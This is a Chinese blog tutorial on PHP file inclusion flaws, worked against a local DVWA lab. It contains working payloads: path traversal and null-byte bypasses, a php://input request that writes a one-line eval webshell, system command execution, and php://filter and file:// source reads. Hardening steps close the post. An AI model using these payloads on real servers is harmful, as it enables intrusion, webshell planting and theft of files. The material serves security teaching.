Web安全 文件包含漏洞 (直接拿到 服务器 的最高权限)

文件包含的漏洞的概括

文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() ... ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。

目录:

         文件包含漏洞的执行规则:

         1. 验证其存在本地文件包含漏洞,使页面包含 C 盘里面的 flag.txt 文件.

         2.验证其存在 远程文件包含漏洞.

         3. 利用远程文件包含漏洞,向服务器上写入文件名为 shell.php 的一句话木马,查看创建的文件内容及结果.

         4. 利用 php 输入流,执行系统命令,查看服务器开放的端口,对 url 及页 面回显内容.

         5.用php协议,读取文件源码用法(防止出现乱码)(用base64编码)

         6.file协议的用法(用来访问本地文件系统)

         7. 对漏洞进行加固,对 php 的配置文件进行配置,使其无法 对远程文件进行包含.

         8.对漏洞代码进行加固.


免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


文件包含漏洞的执行规则:

文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是python,那就是python去执行文件里面的内容


靶场:  

本地自己搭建的DVWA靶场:Win XP(IP地址:192.168.0.105)

DVWA靶场搭建链接:DVWA的靶场搭建_半个西瓜.的博客-CSDN博客


1. 验证其存在本地文件包含漏洞,使页面包含 C 盘里面的 flag.txt 文件.

(1)确定服务器C盘上有 flag.txt 文件.


(2)验证DVWA靶场文件包含是否存在 本地文件包含 漏洞.

../../../../../../flag.txt      (  ../    是上一个目录的意思.)  (  flag.txt    是文件名.)


(3)如果服务器的后台代码有固定的后缀名限制.

就是加%00,/././././././././......再或者是.................(意思就是:使服务器后台的固定文件名失效)

2.验证其存在 远程文件包含漏洞.

这个是说明 allow_url_include 没有开启.(DVWA靶场的准备工作.)

勾起:phpStudy的allow_url_include

 再改文件里的allow_url_includeOn.

(重启phpStudy)就不会出现 allow_url_include 没有开启了.


验证(DVWA靶场)存在远程文件包含漏洞.

(1)phpinfo是 txt文件.

(2)在192.168.0.105(DVWA靶场地址)的www目录下.


(3)利用DVWA靶场的文件包含漏洞  使得phpinfo文件被php代码执行.

命令:?page=http://192.168.0.105:801/phpinfo.txt


3. 利用远程文件包含漏洞,向服务器上写入文件名为 shell.php 的一句话木马,查看创建的文件内容及结果.

(1)写入一句话木马用法:

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://input

勾选 < Post data >

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>

写入一个 shell.php 文件,内容为 <?php @eval($_POST["bgxg"]); ?>


 (2)浏览刚刚写入 shell.php 文件.

http://192.168.0.105:801/DVWA/vulnerabilities/fi/shell.php


(3) 用菜刀连接.


4. 利用 php 输入流,执行系统命令,查看服务器开放的端口,对 url 及页 面回显内容.

(1)执行php代码用法:

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://input

勾选 < Post data >

<?php system('netstat -ano'); ?>

用php代码执行,执行系统命令  查看服务器开放的端口netstat -ano


5.用php协议,读取文件源码用法(防止出现乱码)(用base64编码

(1)原理:php://filter/read=convert.base64-encode/resource=【文件名】

(2)实际用法:http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file2.php


 (3)然后复制base64编码,再用base64编译器解析(在线找 base64 编译器就行).


6.file协议的用法(用来访问本地文件系统

(1)原理:file://【文件的绝对路径和文件名】

🍓(2)实际用法:http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=file://c:/flag.txt


7. 对漏洞进行加固,对 php 的配置文件进行配置,使其无法 对远程文件进行包含.

(1)先找到php配置文件的位置.

利用远程文件包含的方法(phpinfo.txt文件的代码:<?php phpinfo(); ?>):

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=http://192.168.0.105:801/phpinfo.txt


(2)用写入的木马,进行连接服务器.

(1)http://192.168.0.105:801/DVWA/vulnerabilities/fi/shell.php          (木马的位置.)
(2)php配置文件的路径:C:\phpStudy\php\php-5.4.45\php.ini


(3)把 php.ini 文件下载下来,找到 allow_url_include 然后把 On 改为 off


(4)再把 php.ini 文件上传上去,替换掉旧版的php.ini文件(再用远程链接访问,发现访问不了。(成功修复远程文件包含漏洞.)

http://192.168.0.105:801/DVWA/vulnerabilities/fi/?page=http://192.168.0.105:801/phpinfo.txt


8.对漏洞代码进行加固.

(1)没有做任何加固的代码.

<?php
$file = $_GET[ 'page' ];
?> 

(2)过滤掉(http://,https://,../,..\)的加固方式.

<?php
$file = $_GET[ 'page' ];
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

(3)固定后缀名加固.

<?php
$file = $_GET[ 'page' ];
include($file.".htnl");
?> 

(4)固定文件加固.

<?php
$file = $_GET[ 'page' ];
include('文件名(如:index.php)');
?> 

php伪协议的参考:php伪协议 - 看不尽的尘埃 - 博客园

  • 28
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半个西瓜.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值